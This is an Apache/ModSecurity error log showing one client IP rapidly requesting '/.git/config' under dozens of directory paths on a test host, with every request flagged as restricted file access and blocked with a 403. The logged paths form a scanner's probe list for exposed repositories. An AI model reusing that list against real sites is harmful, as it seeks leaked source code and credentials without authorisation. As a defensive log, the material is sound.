[Wed May 22 20:56:14.678893 2024] [:error] [pid 3395393] [client 91.215.85.43:57092] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /repos/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/repos/.git/config"] [unique_id "Zk4_zpnsJP7yDq0rGFtwYAAAAAc"]
[Wed May 22 20:56:14.679206 2024] [:error] [pid 3395393] [client 91.215.85.43:57092] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/repos/.git/config"] [unique_id "Zk4_zpnsJP7yDq0rGFtwYAAAAAc"]
[Wed May 22 20:56:14.679461 2024] [:error] [pid 3395393] [client 91.215.85.43:57092] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/repos/.git/config"] [unique_id "Zk4_zpnsJP7yDq0rGFtwYAAAAAc"]
[Wed May 22 20:56:14.755122 2024] [:error] [pid 3395394] [client 91.215.85.43:57146] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /includes/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.git/config"] [unique_id "Zk4_zhy_kxE0Cryukh32lwAAAAg"]
[Wed May 22 20:56:14.755722 2024] [:error] [pid 3395394] [client 91.215.85.43:57146] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.git/config"] [unique_id "Zk4_zhy_kxE0Cryukh32lwAAAAg"]
[Wed May 22 20:56:14.756154 2024] [:error] [pid 3395394] [client 91.215.85.43:57146] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.git/config"] [unique_id "Zk4_zhy_kxE0Cryukh32lwAAAAg"]
[Wed May 22 20:56:14.769795 2024] [:error] [pid 3395358] [client 91.215.85.43:57116] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /api/v4/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v4/.git/config"] [unique_id "Zk4_zsLR5UJ49OezHSs-PwAAAAE"]
[Wed May 22 20:56:14.770161 2024] [:error] [pid 3395359] [client 91.215.85.43:57096] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /v2/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v2/.git/config"] [unique_id "Zk4_zpTMfOoR75vS6_DpZAAAAAI"]
[Wed May 22 20:56:14.770511 2024] [:error] [pid 3395358] [client 91.215.85.43:57116] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v4/.git/config"] [unique_id "Zk4_zsLR5UJ49OezHSs-PwAAAAE"]
[Wed May 22 20:56:14.770663 2024] [:error] [pid 3395359] [client 91.215.85.43:57096] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v2/.git/config"] [unique_id "Zk4_zpTMfOoR75vS6_DpZAAAAAI"]
[Wed May 22 20:56:14.770988 2024] [:error] [pid 3395359] [client 91.215.85.43:57096] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v2/.git/config"] [unique_id "Zk4_zpTMfOoR75vS6_DpZAAAAAI"]
[Wed May 22 20:56:14.771008 2024] [:error] [pid 3395358] [client 91.215.85.43:57116] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v4/.git/config"] [unique_id "Zk4_zsLR5UJ49OezHSs-PwAAAAE"]
[Wed May 22 20:56:14.771473 2024] [:error] [pid 3395357] [client 91.215.85.43:57106] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /m/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/m/.git/config"] [unique_id "Zk4_ziC0SfZuqf1hbVzvMQAAAAA"]
[Wed May 22 20:56:14.772100 2024] [:error] [pid 3395357] [client 91.215.85.43:57106] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/m/.git/config"] [unique_id "Zk4_ziC0SfZuqf1hbVzvMQAAAAA"]
[Wed May 22 20:56:14.772495 2024] [:error] [pid 3395357] [client 91.215.85.43:57106] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/m/.git/config"] [unique_id "Zk4_ziC0SfZuqf1hbVzvMQAAAAA"]
[Wed May 22 20:56:14.775940 2024] [:error] [pid 3395395] [client 91.215.85.43:57168] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /shop/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/shop/.git/config"] [unique_id "Zk4_zgYtOgQFTVNZreu51QAAAAk"]
[Wed May 22 20:56:14.776294 2024] [:error] [pid 3395395] [client 91.215.85.43:57168] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/shop/.git/config"] [unique_id "Zk4_zgYtOgQFTVNZreu51QAAAAk"]
[Wed May 22 20:56:14.776553 2024] [:error] [pid 3395395] [client 91.215.85.43:57168] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/shop/.git/config"] [unique_id "Zk4_zgYtOgQFTVNZreu51QAAAAk"]
[Wed May 22 20:56:14.778140 2024] [:error] [pid 3395392] [client 91.215.85.43:57184] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /test/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test/.git/config"] [unique_id "Zk4_zoxthpOCBUxc2u8aDQAAAAY"]
[Wed May 22 20:56:14.778372 2024] [:error] [pid 3395384] [client 91.215.85.43:57132] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /new/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.git/config"] [unique_id "Zk4_zmo8EkGRap188Sa_TwAAAAU"]
[Wed May 22 20:56:14.778404 2024] [:error] [pid 3395392] [client 91.215.85.43:57184] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test/.git/config"] [unique_id "Zk4_zoxthpOCBUxc2u8aDQAAAAY"]
[Wed May 22 20:56:14.778642 2024] [:error] [pid 3395392] [client 91.215.85.43:57184] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test/.git/config"] [unique_id "Zk4_zoxthpOCBUxc2u8aDQAAAAY"]
[Wed May 22 20:56:14.778907 2024] [:error] [pid 3395384] [client 91.215.85.43:57132] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.git/config"] [unique_id "Zk4_zmo8EkGRap188Sa_TwAAAAU"]
[Wed May 22 20:56:14.779288 2024] [:error] [pid 3395384] [client 91.215.85.43:57132] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.git/config"] [unique_id "Zk4_zmo8EkGRap188Sa_TwAAAAU"]
[Wed May 22 20:56:14.779445 2024] [:error] [pid 3395396] [client 91.215.85.43:57094] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/plugins/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/plugins/.git/config"] [unique_id "Zk4_zudio4tMHzszuH-1gAAAAAo"]
[Wed May 22 20:56:14.779709 2024] [:error] [pid 3395396] [client 91.215.85.43:57094] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/plugins/.git/config"] [unique_id "Zk4_zudio4tMHzszuH-1gAAAAAo"]
[Wed May 22 20:56:14.779948 2024] [:error] [pid 3395396] [client 91.215.85.43:57094] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/plugins/.git/config"] [unique_id "Zk4_zudio4tMHzszuH-1gAAAAAo"]
[Wed May 22 20:56:14.780397 2024] [:error] [pid 3395360] [client 91.215.85.43:57196] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /wiki/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wiki/.git/config"] [unique_id "Zk4_zlQmnWT4N4NxlYdmQAAAAAM"]
[Wed May 22 20:56:14.780715 2024] [:error] [pid 3395360] [client 91.215.85.43:57196] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wiki/.git/config"] [unique_id "Zk4_zlQmnWT4N4NxlYdmQAAAAAM"]
[Wed May 22 20:56:14.780941 2024] [:error] [pid 3395360] [client 91.215.85.43:57196] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wiki/.git/config"] [unique_id "Zk4_zlQmnWT4N4NxlYdmQAAAAAM"]
[Wed May 22 20:56:14.781807 2024] [:error] [pid 3395393] [client 91.215.85.43:57160] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /web/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.git/config"] [unique_id "Zk4_zpnsJP7yDq0rGFtwYQAAAAc"]
[Wed May 22 20:56:14.782012 2024] [:error] [pid 3395393] [client 91.215.85.43:57160] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.git/config"] [unique_id "Zk4_zpnsJP7yDq0rGFtwYQAAAAc"]
[Wed May 22 20:56:14.782152 2024] [:error] [pid 3395393] [client 91.215.85.43:57160] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.git/config"] [unique_id "Zk4_zpnsJP7yDq0rGFtwYQAAAAc"]
[Wed May 22 20:56:14.855441 2024] [:error] [pid 3395394] [client 91.215.85.43:57186] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /__macosx/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/__MACOSX/.git/config"] [unique_id "Zk4_zhy_kxE0Cryukh32mAAAAAg"]
[Wed May 22 20:56:14.855986 2024] [:error] [pid 3395394] [client 91.215.85.43:57186] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/__MACOSX/.git/config"] [unique_id "Zk4_zhy_kxE0Cryukh32mAAAAAg"]
[Wed May 22 20:56:14.856377 2024] [:error] [pid 3395394] [client 91.215.85.43:57186] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/__MACOSX/.git/config"] [unique_id "Zk4_zhy_kxE0Cryukh32mAAAAAg"]
[Wed May 22 20:56:14.874000 2024] [:error] [pid 3395392] [client 91.215.85.43:57232] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /old-cuburn/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/old-cuburn/.git/config"] [unique_id "Zk4_zoxthpOCBUxc2u8aDgAAAAY"]
[Wed May 22 20:56:14.874468 2024] [:error] [pid 3395392] [client 91.215.85.43:57232] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/old-cuburn/.git/config"] [unique_id "Zk4_zoxthpOCBUxc2u8aDgAAAAY"]
[Wed May 22 20:56:14.874464 2024] [:error] [pid 3395357] [client 91.215.85.43:57214] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /amphtml/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/amphtml/.git/config"] [unique_id "Zk4_ziC0SfZuqf1hbVzvMgAAAAA"]
